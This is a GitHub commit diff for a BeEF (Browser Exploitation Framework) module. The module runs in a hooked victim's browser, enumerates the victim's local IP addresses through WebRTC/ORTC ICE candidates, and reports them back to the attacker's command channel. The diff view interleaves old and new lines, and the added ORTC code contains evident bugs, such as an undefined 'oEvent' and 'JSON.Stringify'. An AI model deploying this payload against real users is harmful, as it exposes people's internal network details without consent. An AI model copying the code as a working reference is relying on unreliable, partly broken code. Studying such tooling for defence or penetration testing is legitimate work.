Add ORTC, fix WebRTC bug

* Add Object-RTC implementation that should work in Edge 38.
* Fix issue where WebRTC implementation could report partial results if there are multiple local IP addresses (e.g. multiple network cars, IPv4 & IPv6, ...). In such cases, the results would be reported for each IP address, where they should only be reported once, after all IP addresses have been enumerated.
* All indentation is now 4 spaces.
This commit is contained in:
SkyLined
2017-05-30 20:59:40 +02:00
committed by GitHub
parent dd47856c91
commit 992e9235c7

View File

@@ -1,5 +1,6 @@
// //
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2017 SkyLined - BeEF@skylined.nl
// Browser Exploitation Framework (BeEF) - http://beefproject.com // Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission // See the file 'doc/COPYING' for copying permission
// //
@@ -8,71 +9,98 @@ beef.execute(function() {
var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection; var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection){ if (window.RTCIceGatherer || RTCPeerConnection){
var addrs = Object.create(null); var addrs = Object.create(null);
addrs["0.0.0.0"] = false; addrs["0.0.0.0"] = false;
// Prefer RTCIceGatherer of simplicity.
if (window.RTCIceGatherer) {
var iceGatherer = new RTCIceGatherer({
"gatherPolicy": "all",
"iceServers": [ ],
});
iceGatherer.onlocalcandidate = function (evt) {
if (oEvent.candidate.type) {
// There may be multiple IP addresses
beef.debug(JSON.Stringify(evt.candidate));
if (evt.candidate.type == "host") {
// The ones marked "host" are local IP addresses
processIPs(oEvent.candidate.ip);
};
} else {
retResults();
};
};
iceGatherer.onerror = function (e) {
beef.debug("ICE Gatherer Failed");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.are.status_error());
};
} else {
// Construct RTC peer connection
var servers = {iceServers:[]};
var mediaConstraints = {optional:[{googIPv6: true}]};
var rtc = new RTCPeerConnection(servers, mediaConstraints);
rtc.createDataChannel('', {reliable:false});
// Construct RTC peer connection // Upon an ICE candidate being found
var servers = {iceServers:[]}; // Grep the SDP data for IP address data
var mediaConstraints = {optional:[{googIPv6: true}]}; rtc.onicecandidate = function (evt) {
var rtc = new RTCPeerConnection(servers, mediaConstraints); if (evt.candidate){
rtc.createDataChannel('', {reliable:false}); // There may be multiple local IP addresses
beef.debug("a="+evt.candidate.candidate);
grepSDP("a="+evt.candidate.candidate);
} else {
// No more candidates: return results.
retResults();
};
};
// Upon an ICE candidate being found // Create an SDP offer
// Grep the SDP data for IP address data rtc.createOffer(function (offerDesc) {
rtc.onicecandidate = function (evt) { grepSDP(offerDesc.sdp);
if (evt.candidate){ rtc.setLocalDescription(offerDesc);
beef.debug("a="+evt.candidate.candidate); retResults();
grepSDP("a="+evt.candidate.candidate); }, function (e) {
retResults(); beef.debug("SDP Offer Failed");
} beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error());
}; });
};
// Create an SDP offer function retResults(){
rtc.createOffer(function (offerDesc) { var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
grepSDP(offerDesc.sdp);
rtc.setLocalDescription(offerDesc);
retResults();
}, function (e) {
beef.debug("SDP Offer Failed");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error());
});
function retResults(){ // This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")];
}
// This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way // Return results
get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")]; function processIPs(newAddr) {
} if (newAddr in addrs) return;
else addrs[newAddr] = true;
// Return results var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
function processIPs(newAddr) { beef.debug("Found IPs: "+ displayAddrs.join(","));
if (newAddr in addrs) return; beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success());
else addrs[newAddr] = true; }
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
beef.debug("Found IPs: "+ displayAddrs.join(","));
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success());
}
// Retrieve IP addresses from SDP // Retrieve IP addresses from SDP
function grepSDP(sdp) { function grepSDP(sdp) {
var hosts = []; var hosts = [];
sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39
if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13 if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13
var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1 var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1
addr = parts[4], addr = parts[4],
type = parts[7]; type = parts[7];
if (type === 'host') processIPs(addr); if (type === 'host') processIPs(addr);
} else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7 } else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7
var parts = line.split(' '), var parts = line.split(' '),
addr = parts[2]; addr = parts[2];
processIPs(addr); processIPs(addr);
} }
}); });
} }
}else { }else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error()); beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error());
} }
}); });